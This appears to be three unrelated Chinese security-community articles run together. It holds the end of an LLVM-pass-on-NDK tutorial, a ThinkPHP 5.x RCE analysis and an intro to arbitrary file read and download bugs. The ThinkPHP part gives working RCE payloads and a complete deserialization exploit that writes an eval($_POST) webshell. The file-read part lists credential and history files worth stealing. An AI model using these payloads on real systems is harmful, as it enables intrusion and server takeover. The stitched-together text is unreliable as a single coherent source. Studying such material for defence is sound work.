然后有几率遇到C++版本的问题，llvm10以上需要添加
set(CMAKE_CXX_STANDARD 14)
在这在情况下使用的CMakeLists.txt最终是：
cmake_minimum_required(VERSION 3.4)
if(NOT DEFINED ENV{LLVM_HOME})
message(FATAL_ERROR "$LLVM_HOME is not defined")
endif()
if(NOT DEFINED ENV{LLVM_DIR})
set(ENV{LLVM_DIR} $ENV{LLVM_HOME}/lib64/cmake/llvm)
endif()
find_package(LLVM REQUIRED CONFIG)
add_definitions(${LLVM_DEFINITIONS})
include_directories(${LLVM_INCLUDE_DIRS})
set(CMAKE_CXX_STANDARD 14)
add_subdirectory(skeleton) # Use your pass name here.
修复完include问题后，就可以舒舒服服地使用cmake来生成demo了，如下：
export LLVM_HOME=/home/leadroyal/Android/Sdk/ndk/20.0.5594570/toolchains/llvm/prebuilt/linux-x86_64
➜ b git:(master) ✗ cmake ..
-- The C compiler identification is GNU 7.4.0
-- The CXX compiler identification is GNU 7.4.0
-- Check for working C compiler: /usr/bin/cc
-- Check for working C compiler: /usr/bin/cc -- works
-- Detecting C compiler ABI info
-- Detecting C compiler ABI info - done
-- Detecting C compile features
-- Detecting C compile features - done
-- Check for working CXX compiler: /usr/bin/c++
-- Check for working CXX compiler: /usr/bin/c++ -- works
-- Detecting CXX compiler ABI info
-- Detecting CXX compiler ABI info - done
-- Detecting CXX compile features
-- Detecting CXX compile features - done
-- Configuring done
-- Generating done
-- Build files have been written to: /home/leadroyal/llvm-pass-tutorial/b
➜ b git:(master) ✗ cmake --build .
Scanning dependencies of target SkeletonPass
[ 50%] Building CXX object skeleton/CMakeFiles/SkeletonPass.dir/Skeleton.cpp.o
[100%] Linking CXX shared module libSkeletonPass.so
[100%] Built target SkeletonPass
# 三、使用NDK的环境加载一个pass
编译部分完成了，接下来是加载部分，我们随便找一个android native项目，修改build.gradle中的flag
externalNativeBuild {
cmake {
cppFlags "-Xclang -load -Xclang /home/leadroyal/llvm-pass-tutorial/b/skeleton/libSkeletonPass.so"
}
}
`gradle build`
命令后，可能会如下报错（当编译pass时使用了GNU系列的c++时候会遇到，常见于ubuntu，因为NDK使用的是llvm系列的c++）
如果出现如下报错的话，解决方案如下，如果没有报错，请跳过这部分
通常被搜索的关键词是：`_ZNK4llvm12FunctionPass17createPrinterPassERNS_11raw_ostreamERKNSt7__cxx1112basic_stringIcSt11char_traitsIcESaIcEEE`
### ========GNU使用兼容libc++的方案（没遇到可以跳过） =======
./gradlew build
error: unable to load plugin '/home/leadroyal/llvm-pass-tutorial/b/skeleton/libSkeletonPass.so': '/home/leadroyal/llvm-pass-tutorial/b/skeleton/libSkeletonPass.so: undefined symbol: _ZNK4llvm12FunctionPass17createPrinterPassERNS_11raw_ostreamERKNSt7__cxx1112basic_stringIcSt11char_traitsIcESaIcEEE'
很奇怪，提醒这个符号找不到，但是我们编译时能找到、连接时找不到，就很奇怪。
demangle一下：
c++filt _ZNK4llvm12FunctionPass17createPrinterPassERNS_11raw_ostreamERKNSt7__cxx1112basic_stringIcSt11char_traitsIcESaIcEEE
llvm::FunctionPass::createPrinterPass(llvm::raw_ostream&, std::__cxx11::basic_string<char, std::char_traits<char>, std::allocator<char> > const&) const
去NDK的相关目录下grep，发现了该符号：
➜ lib64 pwd
/home/leadroyal/Android/Sdk/ndk/20.0.5594570/toolchains/llvm/prebuilt/linux-x86_64/lib64
➜ lib64 strings * | grep _ZNK4llvm12FunctionPass17createPrinterPass
strings: Warning: 'clang' is a directory
strings: Warning: 'cmake' is a directory
_ZNK4llvm12FunctionPass17createPrinterPassERNS_11raw_ostreamERKNSt3__112basic_stringIcNS3_11char_traitsIcEENS3_9allocatorIcEEEE
demangle一下：
c++filt _ZNK4llvm12FunctionPass17createPrinterPassERNS_11raw_ostreamERKNSt3__112basic_stringIcNS3_11char_traitsIcEENS3_9allocatorIcEEEE
llvm::FunctionPass::createPrinterPass(llvm::raw_ostream&, std::__1::basic_string<char, std::__1::char_traits<char>, std::__1::allocator<char> > const&) const
对比一下二者，注意一个细节，参数命名空间不一致：
NDK里的叫`std::__1::basic_string`，我们编出来的叫`std::__cxx11::basic_string`
NDK里的叫`std::__1::char_traits`，我们编出来的叫`std::char_traits`
如果是老司机的话，一眼就知道它们使用了不同版本的c++，最初的源码是一致的，解决起来不难。
用`__cxx11`的叫`libc++`，用`__1`的叫`libstdc++`。
解决方案是在连接时使用libc++，`set(CMAKE_CXX_FLAGS "${CMAKE_CXX_FLAGS}
-stdlib=libc++")`，但由于ubuntu装的一般是gcc系列，而gcc系列是没有libc++的，编译会crash如下：
Using built-in specs.
COLLECT_GCC=/usr/bin/c++
OFFLOAD_TARGET_NAMES=nvptx-none
OFFLOAD_TARGET_DEFAULT=1
c++: error: unrecognized command line option ‘-stdlib=libc++’
`gcc`没有`libc++`，只有`llvm`系列拥有`libc++`，所以需要将编译器切换到`clang`。
重申我们之前的原则： **不需要安装额外的软件** ，恰好NDK提供了一个clang给我们，为了方便我就用它提供的了（毕竟安装一个clang也挺麻烦的）
再使用`libc++`的头文件，也直接从对应的地方下载， **但千万别和NDK的放在一起**
，因为`libc++`的`c++/v11`和NDK的`c++/4.9.x`，放一起会冲突
<https://android.googlesource.com/platform/prebuilts/clang/host/linux-x86/+archive/refs/tags/ndk-r20/clang-r346389c/include/c++.tar.gz>
我把libc++的头文件放在 `/home/leadroyal/Android/Sdk/r346389c/include/` 下
放好后对它进行include，在这在情况下使用的CMakeLists.txt最终是：
cmake_minimum_required(VERSION 3.4)
set(CMAKE_C_COMPILER /home/leadroyal/Android/Sdk/ndk/20.0.5594570/toolchains/llvm/prebuilt/linux-x86_64/bin/clang)
set(CMAKE_CXX_COMPILER /home/leadroyal/Android/Sdk/ndk/20.0.5594570/toolchains/llvm/prebuilt/linux-x86_64/bin/clang++)
if(NOT DEFINED ENV{LLVM_HOME})
message(FATAL_ERROR "$LLVM_HOME is not defined")
endif()
if(NOT DEFINED ENV{LLVM_DIR})
set(ENV{LLVM_DIR} $ENV{LLVM_HOME}/lib64/cmake/llvm)
endif()
find_package(LLVM REQUIRED CONFIG)
add_definitions(${LLVM_DEFINITIONS})
include_directories(${LLVM_INCLUDE_DIRS})
include_directories(/home/leadroyal/Android/Sdk/r346389c/include/c++/v1)
set(CMAKE_CXX_STANDARD 14)
set(CMAKE_CXX_FLAGS "${CMAKE_CXX_FLAGS} -stdlib=libc++")
add_subdirectory(skeleton) # Use your pass name here.
我们使用gcc和clang编译两份pass出来，对比一下前后的区别：
使用GCC编译出来的文件
➜ b git:(master) ✗ ldd skeleton/libSkeletonPass.so
linux-vdso.so.1 (0x00007ffc3c3d5000)
libstdc++.so.6 => /usr/lib/x86_64-linux-gnu/libstdc++.so.6 (0x00007ff114c76000)
libgcc_s.so.1 => /lib/x86_64-linux-gnu/libgcc_s.so.1 (0x00007ff114a5e000)
libc.so.6 => /lib/x86_64-linux-gnu/libc.so.6 (0x00007ff11466d000)
libm.so.6 => /lib/x86_64-linux-gnu/libm.so.6 (0x00007ff1142cf000)
/lib64/ld-linux-x86-64.so.2 (0x00007ff115205000)
使用clang编译出来的文件
➜ b git:(master) ✗ ldd skeleton/libSkeletonPass.so
linux-vdso.so.1 (0x00007ffc369e2000)
libc++.so.1 => not found
libm.so.6 => /lib/x86_64-linux-gnu/libm.so.6 (0x00007f002042c000)
libgcc_s.so.1 => /lib/x86_64-linux-gnu/libgcc_s.so.1 (0x00007f0020214000)
libc.so.6 => /lib/x86_64-linux-gnu/libc.so.6 (0x00007f001fe23000)
/lib64/ld-linux-x86-64.so.2 (0x00007f00209d3000)
虽然后者提醒libc++.so.1找不到，感觉很诧异，于是去查ndk clang的依赖
➜ bin ldd /home/leadroyal/Android/Sdk/ndk/20.0.5594570/toolchains/llvm/prebuilt/linux-x86_64/bin/clang
linux-vdso.so.1 (0x00007ffc99bc7000)
libpthread.so.0 => /lib/x86_64-linux-gnu/libpthread.so.0 (0x00007f3bb9d24000)
libz.so.1 => /lib/x86_64-linux-gnu/libz.so.1 (0x00007f3bb9b07000)
librt.so.1 => /lib/x86_64-linux-gnu/librt.so.1 (0x00007f3bb98ff000)
libdl.so.2 => /lib/x86_64-linux-gnu/libdl.so.2 (0x00007f3bb96fb000)
libm.so.6 => /lib/x86_64-linux-gnu/libm.so.6 (0x00007f3bb935d000)
libc++.so.1 => /home/leadroyal/Android/Sdk/ndk/20.0.5594570/toolchains/llvm/prebuilt/linux-x86_64/bin/../lib64/libc++.so.1 (0x00007f3bba07e000)
libgcc_s.so.1 => /lib/x86_64-linux-gnu/libgcc_s.so.1 (0x00007f3bb9145000)
libc.so.6 => /lib/x86_64-linux-gnu/libc.so.6 (0x00007f3bb8d54000)
/lib64/ld-linux-x86-64.so.2 (0x00007f3bb9f43000)
发现在NDK里确实存在libc++.so.1环境，问题解决，我们回归主题，最后一步，使用NDK加载它！
### ========GNU使用兼容libc++的方案 end =======
我们先用简单的c文件验证我们的pass，没有任何问题
➜ /tmp cat test.c
#include<stdio.h>
int main(){
printf("HelloWorld\n");
return 0;
}
➜ /tmp /home/leadroyal/Android/Sdk/ndk/20.0.5594570/toolchains/llvm/prebuilt/linux-x86_64/bin/clang -Xclang -load -Xclang /home/leadroyal/llvm-pass-tutorial/b/skeleton/libSkeletonPass.so test.c
I saw a function called main!
➜ /tmp ./a.out
HelloWorld
最后一步，见证奇迹的时刻！
➜ MyApplication ./gradlew clean build
............
> Task :app:externalNativeBuildDebug
Build native-lib_armeabi-v7a
ninja: Entering directory `/home/leadroyal/AndroidStudioProjects/MyApplication/app/.cxx/cmake/debug/armeabi-v7a'
[1/2] Building CXX object CMakeFiles/native-lib.dir/native-lib.cpp.o
I saw a function called Java_com_example_myapplication_MainActivity_stringFromJNI!
I saw a function called _ZNSt6__ndk112basic_stringIcNS_11char_traitsIcEENS_9allocatorIcEEEC2EPKc!
I saw a function called _ZN7_JNIEnv12NewStringUTFEPKc!
I saw a function called _ZNKSt6__ndk112basic_stringIcNS_11char_traitsIcEENS_9allocatorIcEEE5c_strEv!
I saw a function called _ZNSt6__ndk112basic_stringIcNS_11char_traitsIcEENS_9allocatorIcEEED2Ev!
泪流满面！我们终于成功编译并且加载了这个Pass!
# 四、当我们来到macOS上
同Linux一样，先修复cmake文件，再下载`include/llvm`和`incude/llvm-c`，因为macOS默认就是clang了，所以不会存在libstdc++和libc++冲突的问题，编译过程全程没有任何障碍。
但是在加载时却遇到了如下的错误，也是在网上经常被贴出来问问题的报错
➜ /tmp $ANDROID_NDK/20.0.5594570/toolchains/llvm/prebuilt/darwin-x86_64/bin/clang -Xclang -load -Xclang /home/leadroyal/llvm-pass-tutorial/b/skeleton/libSkeletonPass.so test.c
error: unable to load plugin '/home/leadroyal/llvm-pass-tutorial/b/skeleton/libSkeletonPass.so':
'dlopen(/home/leadroyal/llvm-pass-tutorial/b/skeleton/libSkeletonPass.so, 9): Symbol not found:
__ZN4llvm12FunctionPass17assignPassManagerERNS_7PMStackENS_15PassManagerTypeE
Referenced from: /home/leadroyal/llvm-pass-tutorial/b/skeleton/libSkeletonPass.so
Expected in: flat namespace
in /home/leadroyal/llvm-pass-tutorial/b/skeleton/libSkeletonPass.so'
demangle一下
c++filt __ZN4llvm12FunctionPass17assignPassManagerERNS_7PMStackENS_15PassManagerTypeE
llvm::FunctionPass::assignPassManager(llvm::PMStack&, llvm::PassManagerType)
这个符号是llvm中导出的符号，供开发者调用，libSkeletonPass.so需要该符号，但是clang的进程空间里没有这个符号。
经过仔细对照，发现不仅仅缺失这一个符号，缺失的是一大堆相关的符号，而且都是较为基础的符号，只是最先被寻找的是这个就停下来了。
_【先剧透一下，这个符号缺失是apple基础工具的bug，但是google没有发现这个bug，已报告<https://issuetracker.google.com/issues/143160164>】_
这时有另一个线索：我们自己编译出来的pass是可以正常加载pass的，一定是AOSP动了手脚，这里省去大量的diff时间，直接说结果。
记作X：使用llvm默认配置（与Android无关）编译出来的clang，可以找到符号
记作Y：使用AOSP得到的stage2-install/bin/clang，可以找到符号
记作Z：使用AOSP得到的toolchain中的clang，无法找到符号
`X/Y` 可以说明， `https://android.googlesource.com/toolchain/llvm_android/`
中对llvm的编译配置，是不影响符号的
`Y/Z` 可以说明，strip前和strip后会导致符号缺失。在ubuntu上符号仍然被保留，在macOS上符号会消失。
代码如下
<https://android.googlesource.com/toolchain/llvm_android/+/refs/heads/master/build.py>
for bin_filename in os.listdir(bin_dir):
binary = os.path.join(bin_dir, bin_filename)
if os.path.isfile(binary):
if bin_filename not in necessary_bin_files:
remove(binary)
elif strip and bin_filename not in script_bins:
check_call(['strip', binary])
之后我将X进行`/usr/bin/strip`，发现仍然可以加载pass，这时就开始犯晕，开始缺乏思路。
于是出现了另一个可能引发问题的原因：我编译X、strip-X都是在CommandLineTools 10.15上完成的，但编译Y、strip-Y是在CommandLineTools 10.13上完成的， **二者的strip不完全一致** ！
经过最后一个实验，发现低版本的/usr/bin/strip会错误地移除掉很多符号，导致加载失败，日志如下，我分别用10.13/10.14/10.15的strip去处理stage2-install/bin/clang文件，发现10.13/14处理出来的文件是错误的。
至此，真相大白，失败的原因是：AOSP在编译NDK时触发了macOS自带的strip的bug。
最后的挣扎：NDK中存在一个完备的、拥有符号的文件 LLVM.dylib
中的，如果我们让libSkeleton.so依赖它，从LLVM.dylib中获取符号会怎样？
最终结果是，关键变量PassManager在NDK-clang中是没有符号的，虽然在LLVM.dylib中可以找到，但二者已经完全不是同一个instance了。
因此，macOS宣告失败，等将来AOSP把这个bug修掉，就可以复用史上最优雅的方法了。
# 五、当我们来到Windows
对不起，能力有限告辞。。。
# 六、其他
不想看到的事情：
根据这次commit，开发者建议砍掉toolchain里的.cmake文件，因为作者已经砍掉.a文件了，防止.cmake加载失败引起的误会。我也是弄完这一系列才看到这条commit，于是想尽自己的绵薄之力回滚一下，希望能成功吧。
* <https://android.googlesource.com/toolchain/llvm_android/+/5e612035111cb9f4abad43697350d4ea644fce33>
* <https://android-review.googlesource.com/c/toolchain/llvm_android/+/1139155>
以及，开发者建议砍掉ndk里的.cmake文件，体现在这次commit里
* <https://android-review.googlesource.com/c/platform/ndk/+/1137192>
反正`ndk-r21`肯定是没有cmake了，到时候就从toolchain里下载回来吧。
**本文介绍了一种非常优雅的NDK加载Pass方案，目前从未听说国内外有人使用该方案，感觉非常有意义，在此分享出来，希望更多人可以用到它、共同推动安全行业的发展，完结撒花~**
参考链接：<https://leadroyal.cn> | 社区文章 |
# 环境部署
以TP5.0.22为例 + PHP 5.6.27-NTS + phpstorm2020.1
反序列化环境为:TP5.0.24 + PHP 5.6.27-NTS + phpstorm2020.1
# 目录架构
根据类的命名空间可以快速定位文件位置，在ThinkPHP5.0的规范里面，命名空间其实对应了文件的所在目录，app命名空间通常代表了文件的起始目录为application，而think命名空间则代表了文件的其实目录为thinkphp/library/think，后面的命名空间则表示从起始目录开始的子目录，如下图所示：
# 框架流程
我们先进入到默认的入口文件（public/index.php）
// 定义应用目录
define('APP_PATH', __DIR__ . '/../application/');
// 加载框架引导文件
require __DIR__ . '/../thinkphp/start.php';
引入start.php进入到里面看看有什么
## 框架引导文件（thinkphp/start.php）
进入框架引导文件看到两行代码
// ThinkPHP 引导文件
// 1. 加载基础文件
require __DIR__ . '/base.php';
// 2. 执行应用
App::run()->send();
### 基础文件（thinkphp/base.php）
在此文件首先看到全面大段的是定义常量或者是检查常量是否存在，主要是以下几点需要重点注意
* 将Loader类引入
* 注册自动加载机制
* 注册系统自动加载，`spl_autoload_register`将函数注册到SPL __autoload函数队列中。如果该队列中的函数尚未激活，则激活它们。此函数可以注册任意数量的自动加载器，当使用尚未被定义的类（class）和接口（interface）时自动去加载。通过注册自动加载器，脚本引擎在 PHP 出错失败前有了最后一个机会加载所需的类。
* Composer 自动加载支持
* 注册命名空间定义:`think=>thinkphp/library/think，behavior=>thinkphp/library/behavior，traits=>thinkphp/library/traits`
* 加载类库映射文件
* 自动加载 extend 目录
* 注册异常处理机制
* 加载惯例配置
### 执行应用（thinkphp/library/think/App.php）
首先返回一个request实例，将应用初始化返回配置信息。
之后进行如下的操作：
* 查看是否存在模块控制器绑定
* 对于request的实例根据设置的过滤规则进行过滤
* 加载语言包
* 监听app_dispatch
* 进行URL路由检测（routecheck后面细讲）
* 记录当前调度信息，路由以及请求信息到日志中
* 请求缓存检查并进行`$data = self::exec($dispatch, $config);`，根据$dispatch进行不同的调度，返回$data
* 清除类的实例化
* 输出数据到客户端，`$response = $data;`，返回一个Response类实例
* 调用 **Response- >send()** 方法将数据返回值客户端
## 总结
画个图过一遍整个流程
## 根据PATH_INFO进行URL路由检测（App::routeCheck）
通过`$path = $request->path()`可以获得到请求的path_info，`$depr`是定义的分隔符，默认时: **/**
，之后进行路由检测步骤如下
* 查看是否存在路由缓存，存在就包含
* 读取应用所在的路由文件，一般默认为route.php
* 导入路由配置
* `Route::check` （根据路由定义返回不同的URL调度）
* 检查解析缓存
* 替换分隔符，将"/"换成了"|"
* 获取当前请求类型的路由规则，由于在之前的 **Composer 自动加载支持** ，在vendortopthink/think-captcha/src/helper.php中注册了路由，所以在`$rules = isset(self::$rules[$method]) ? self::$rules[$method] : [];`中的Route::$rules['get']已经存在了相应的路由规则
* 检测域名部署
* 检测URL绑定
* 静态路由规则检查
* 路由规则检查`self::checkRoute($request, $rules, $url, $depr)`
* 检查参数有效性
* 替换掉路由ext参数
* 检查分组路由
* 检查指定特殊路由，例如：`__miss__`和`__atuo__`
* 检查路由规则`checkRule`
* 检查完整规则定义
* 检查路由的参数分隔符
* 检查是否完整匹配路由
* 最终未被匹配路由的进入到`self::parseRule('', $miss['route'], $url, $miss['option'])`进行处理，这就牵涉到TP对于路由的多种定义
* 检查是否强制使用路由`$must = !is_null(self::$routeMust) ? self::$routeMust : $config['url_route_must']`
* 路由无效，将自动解析模块的URL地址会进入到`Route::parseUrl($path, $depr, $config['controller_auto_search'])`
* 最终将结果记录到调度信息
### 总结
首先看看路由定义：
定义方式 | 定义格式
---|---
方式1：路由到模块/控制器 | (模块/控制器/操作)?额外参数1=值1&额外参数2=值2... |
方式2：路由到重定向地址 | '外部地址'（默认301重定向） 或者 ('外部地址','重定向代码')
方式3：路由到控制器的方法 | '@(模块/控制器/)操作'
方式4：路由到类的方法 | '\完整的命名空间类::静态方法' 或者 '\完整的命名空间类@动态方法'
方式5：路由到闭包函数 | 闭包函数定义（支持参数传入）
具体链接可以看看这个[开发手册](https://www.kancloud.cn/manual/thinkphp5/118037)
在画个图过一遍整个路由流程
# 漏洞成因
现在TP的RCE通常将其分成两类：
* Request类其中变量被覆盖导致RCE
* 路由控制不严谨导致可以调用任意类致使RCE
* 反序列化的应用（需要存在反序列化的地方）
## Request类其中变量被覆盖导致RCE
我们以这个POC为例，进行复现：
我们正常的代码逻辑已经简单的写在了前文，如有代码执行疑惑请在前文寻找答案。
下面我们进行漏洞跟踪梳理
* App:run()进行启动，进行到URL路由检测 `self::routeCheck($request, $config)`
* `$request->path()` 获取到我们自带的兼容模式参数 **s**
* 进入路由检测`Route::check($request, $path, $depr, $config['url_domain_deploy'])`
* 关键代码`$method = strtolower($request->method())`进入`$request->method()`看到在查找$_POST中是否有表单请求类型伪装变量（简单解释一下这个，就是form表单的method只能进行GET和POST请求，如果想进行别的请求例如put、delete可以使用这个伪装变量来进入到相应的路由进行处理）
* 一个PHP经典可变函数进行相关的调用`$this->{$this->method}($_POST)`，根据POC我们就进入到了 **__construct** ，这个东西是PHP魔术方法，进入到里面之后就可以将原先的数据覆盖成我们POST上去的数据，最后返回的是POST上去的method=get
* 最终返回数据如下图所示并且赋值给$dispatch
* 进入关键代码`$data = self::exec($dispatch, $config)`
* 然后再次进入到回调方法中的`Request::instance()->param()`，继续跟踪到`array_walk_recursive($data, [$this, 'filterValue'], $filter)`，这个函数解释如下：
* 重要代码跟进，调用`call_user_func($filter, $value)`将其传入的`$filter=system,$value=sysyteminfo`
* 最后返回的需要进行一次过滤，不过大致查看能发现过滤字符基本为SQL注入的过滤，不是RCE的类型
* 现在再次回到`call_user_func($filter, $value)`因为最终你传入的是一个数组，第一个是需要执行的类型，后面是为null，因此会报错。
* 最终进入到\thinkphp\library\think\exception\Handle.php的174行，`$data['echo'] = ob_get_clean()`，获取到前面未被赋值的命令执行的结果，从而随着报错页面一起发送给客户端从而达到回显的目的。
### POC版本测试
> 需要captcha的method路由，如果存在其他method路由，也是可以将captcha换为其他
5.0~5.0.23(本人只测了0和23的完整版，那么猜测中间的版本也是通杀没有问题)
POST http://localhost/tp/public/index.php?s=captcha?s=captcha
_method=__construct&filter[]=system&method=GET&get[]=whoami
5.1.x低版本也可行请自行调试寻找
## 路由控制不严谨导致可以调用任意类致使RCE
我们以这个POC为例
[http://localhost/tp/public/index.php?s=index/think\app/invokefunction&function=call_user_func_array&vars[0]=assert&vars[1][]=phpinfo()](http://localhost/tp/public/index.php?s=index/think\\app/invokefunction&function=call_user_func_array&vars\[0\]=assert&vars\[1\]\[\]=phpinfo\())
正常代码逻辑已经梳理，请自行查看前文。
下面进行漏洞逻辑梳理
* 进入路由`$dispatch = self::routeCheck($request, $config)`，最终进入`Route::parseUrl($path, $depr, $config['controller_auto_search'])`，通过分隔符替换从而将我们输入的pathinfo信息打散成数组： **index|think\app|invokefunction** ，最终返回类似这样的数据
* 进入`$data = self::exec($dispatch, $config);` 将前面获得的调度信息传进去
* 进入`$data = self::module($dispatch['module'],$config,isset($dispatch['convert']) ? $dispatch['convert'] : null);`
* 一直跟踪到往下看，这句代码就是为什么我们要在pathinfo中首先要写 **index** ：`elseif (!in_array($module, $config['deny_module_list']) && is_dir(APP_PATH . $module))`。这样能保证程序不报错中断并且使 **$available=true**
* 分别将模块、控制器、操作将其赋值为我们所输入的 **index think\app invokefunction**
* 进入`Loader::controller`进行控制类调用 **Loader::getModuleAndClass** 使得程序通过 **invokeClass** 返回我们所输入的类的实例
* 进入到App::invokeMethod，反射出我们所输入的类的方法信息(ReflectionMethod)，绑定我们输入的参数，进入`$reflect->invokeArgs(isset($class) ? $class : null, $args)`那么就可以调用我们所想调用的函数，参数也相应传入
* 最后跟前面那个漏洞一样，我们所执行的结果会随着报错输出缓冲区一起显示出来。
### POC版本测试
因为linux和win的环境不一样导致代码逻辑判断不一样因此需要自行寻找
5.0.x(具体自行测试)
http://localhost/tp/public/index.php?s=index/think\app/invokefunction&function=call_user_func_array&vars[0]=assert&vars[1][]=phpinfo()
5.1.x(具体自行测试，适合linux环境)
http://127.0.0.1/index.php?s=index/\think\Container/invokefunction&function=call_user_func_array&vars[0]=phpinfo&vars[1][]=1
## TP5.0.24反序列化利用链
先看看PHP的魔术方法
梳理反序列化利用链漏洞首先需要一个漏洞触发点，别问，问就是自己写：
我们发现在 **thinkphp/library/think/process/pipes/Windows.php**
中发现`__destruct`中存在removeFiles函数，并且在其中存在`$this->files`和`file_exists`，那么我们通过可控的`$this->files`利用`file_exists`可以调用一些类的`__toString`方法，之后查看此方法在抽象类Model（thinkphp/library/think/Model.php），抽象类不能直接调用，因此需要找他的子类。我们可以找到Pivot（thinkphp/library/think/model/Pivot.php）进行调用
然后从toJson()->toArray()，我们看到`$item[$key] = $value ? $value->getAttr($attr) :
null`
其中 **$value- >getAttr是我们利用__call魔术方法** 的点，我们来梳理代码逻辑使之可以顺利执行这句代码。
* $this->append可以控制，将其变成Model类的getError方法，然后跟进看到此方法存在$this->error，因此可以控制$this->$relation()
* 进入到 **getRelationData** 进行一次判断，首先需要进入的是Relation类型的对象，并且要符合这个关键判断`$this->parent && !$modelRelation->isSelfRelation() && get_class($modelRelation->getModel()) == get_class($this->parent)` 才能让$value变成我们想要的东西
* 首先传入的Relation对象是由$this->$relation()控制，我们可以找到HasOne（thinkphp/library/think/model/relation/HasOne.php）这个类是继承抽象类OneToOne（thinkphp/library/think/model/relation/OnToOne.php），然后OneToOne又继承自Relation，所以HasOne有着Relation的血脉才能进入getRelationData方法
* **$this- >parent** 是我们所要进入的__call魔术方法所在的类，这里我们选择的是Output类（thinkphp/library/think/console/Output）
* **$modelRelation- >isSelfRelation()** 看到$this->selfRelation，我们可以控制。
* **get_class($modelRelation- >getModel()) == get_class($this->parent))**，我们需要将最后Query的$this->model写成我们选择的Output类
* 最后$this->parent赋值给$value，执行代码之后进入到Output类的__call方法
进入到__call，发现$this->styles我们可以控制那么就可以执行block方法，block调用writeln方法，writeln调用write方法，发现write方法中`$this->handle->write($messages,
$newline,
$type)`那么我们可以控制`$this->handle`，我们将其设置为Memcached类（thinkphp/library/think/session/driver/Mencached.php），然后进入到Memcached->write方法中看到Memcached也存在一个$this->handle，我们将其设置为File类（thinkphp/library/think/cache/driver/File.php）从而进入到File->set方法我们可以看到`file_put_contents($filename,
$data)`其中的两个参数我们都可以控制
* 首先传入的三个参数已经确定，其中$name，$expire我们可以控制，但是有用的就是$name
* 发现写入的数据就是我们无法控制的$value，无法利用。我们不慌继续往下看，看到有一个`$this->setTagItem($filename)`我们看到此方法又调用一次set方法并且传入set的三个值我们都可以控制
* 再一次进入set方法， **通过php伪协议可以绕过exit()的限制** ，就可以将危害代码写在服务器上了。
### EXP
从网上找来的EXP，改了改关键的几个点，并且可以实现在Windows写文件
<?php
namespace think\process\pipes {
class Windows {
private $files = [];
public function __construct($files)
{
$this->files = [$files]; //$file => /think/Model的子类new Pivot(); Model是抽象类
}
}
}
namespace think {
abstract class Model{
protected $append = [];
protected $error = null;
public $parent;
function __construct($output, $modelRelation)
{
$this->parent = $output; //$this->parent=> think\console\Output;
$this->append = array("xxx"=>"getError"); //调用getError 返回this->error
$this->error = $modelRelation; // $this->error 要为 relation类的子类，并且也是OnetoOne类的子类==>>HasOne
}
}
}
namespace think\model{
use think\Model;
class Pivot extends Model{
function __construct($output, $modelRelation)
{
parent::__construct($output, $modelRelation);
}
}
}
namespace think\model\relation{
class HasOne extends OneToOne {
}
}
namespace think\model\relation {
abstract class OneToOne
{
protected $selfRelation;
protected $bindAttr = [];
protected $query;
function __construct($query)
{
$this->selfRelation = 0;
$this->query = $query; //$query指向Query
$this->bindAttr = ['xxx'];// $value值，作为call函数引用的第二变量
}
}
}
namespace think\db {
class Query {
protected $model;
function __construct($model)
{
$this->model = $model; //$this->model=> think\console\Output;
}
}
}
namespace think\console{
class Output{
private $handle;
protected $styles;
function __construct($handle)
{
$this->styles = ['getAttr'];
$this->handle =$handle; //$handle->think\session\driver\Memcached
}
}
}
namespace think\session\driver {
class Memcached
{
protected $handler;
function __construct($handle)
{
$this->handler = $handle; //$handle->think\cache\driver\File
}
}
}
namespace think\cache\driver {
class File
{
protected $options=null;
protected $tag;
function __construct(){
$this->options=[
'expire' => 3600,
'cache_subdir' => false,
'prefix' => '',
'path' => 'php://filter/convert.iconv.utf-8.utf-7|convert.base64-decode/resource=aaaPD9waHAgQGV2YWwoJF9QT1NUWydjY2MnXSk7Pz4g/../a.php',
'data_compress' => false,
];
$this->tag = 'xxx';
}
}
}
namespace {
$Memcached = new think\session\driver\Memcached(new \think\cache\driver\File());
$Output = new think\console\Output($Memcached);
$model = new think\db\Query($Output);
$HasOne = new think\model\relation\HasOne($model);
$window = new think\process\pipes\Windows(new think\model\Pivot($Output,$HasOne));
echo serialize($window);
echo base64_encode(serialize($window));
}
### POC效果演示图
# 参考链接
1. <https://xz.aliyun.com/search?keyword=thinkphp>
2. <https://y4er.com/post/thinkphp5-rce/#method-__contruct%E5%AF%BC%E8%87%B4%E7%9A%84rce-%E5%90%84%E7%89%88%E6%9C%ACpayload>
3. <https://www.kancloud.cn/zmwtp/tp5/119422>
4. <https://www.anquanke.com/post/id/196364#h2-7> | 社区文章 |
### 0x00写在前面
上周参加了一个线上赛。有个Web题的WriteUp说是任意文件下载。由于之前没学过，所以就没有想到。现在学习一下
### 0x01为什么产生任意文件读取与下载漏洞
一些网站的业务需要，可能提供文件查看或下载的功能，如果对用户查看或下载的文件不做限制，就能够查看或下载任意的文件，可以是源文件，敏感文件等等。
### 0x02任意文件读取漏洞
任意文件读取是属于文件操作漏洞的一种，一般任意文件读取漏洞可以读取配置信息甚至系统重要文件。严重的话，就可能导致SSRF，进而漫游至内网。
**漏洞产生原因**
* 存读取文件的函数
* 读取文件的路径用户可控，且未校验或校验不严
* 输出了文件内容
**任意文件读取**
<?php
$filename=”test.txt”;
readfile($filename);
?>
<?php
$filename=”test.txt”;
echo file_get_contents($filename);
?>
**文件读取函数**
`readfile()`、`file_get_contents()`、`fopen()`中，`$filename`没有经过校验或者校验不合格，用户可控制变量读取任意文件，如`/etc/passwd`、`./index.php`、`/config.ini`。
### 0x03任意文件下载漏洞
一些网站由于业务需求，往往需要提供文件下载功能，但若对用户下载的文件不做限制，则恶意用户就能够下载任意敏感文件，这就是文件下载漏洞。
**漏洞产生原因**
* 有读取文件的函数
* 读物文件的路径用户可控，且没有经过校验，或者校验不严格
* 输出文件内容
* 一个正常的网站，存在一个下载文件的功能，同时还会从浏览器接收文件名字
**文件下载的两种方式**
1、直接下载：
<a href=”http://www.a.com/xxx.rar”>下载</a>
2、增加header头
<?php
$filename = $_GET['filename'];
echo '<h1>开始下载文件</h1><br /><br />';
echo file_get_contents($filename);
header('Content-Type: imgage/jpeg');
header('Content-Disposition: attachment; filename='.$filename);
header('Content-Lengh: '.filesize($filename));
?>
#### 漏洞利用方式
**利用思路**
* 下载常规的配置文件，例如: ssh,weblogic,ftp,mysql等相关配置
* 下载各种`.log`文件，从中寻找一些后台地址，文件上传点之类的地方，如果运气好的话会获得一些前辈们的后门。
* 下载web业务文件进行白盒审计，利用漏洞进一步攻入服务器。
尝试读取`/root/.bash_history`看自己是否具有root权限。
如果没有，就只能利用`../`来回跳转读取一些`.ssh`下的配置信息文件。
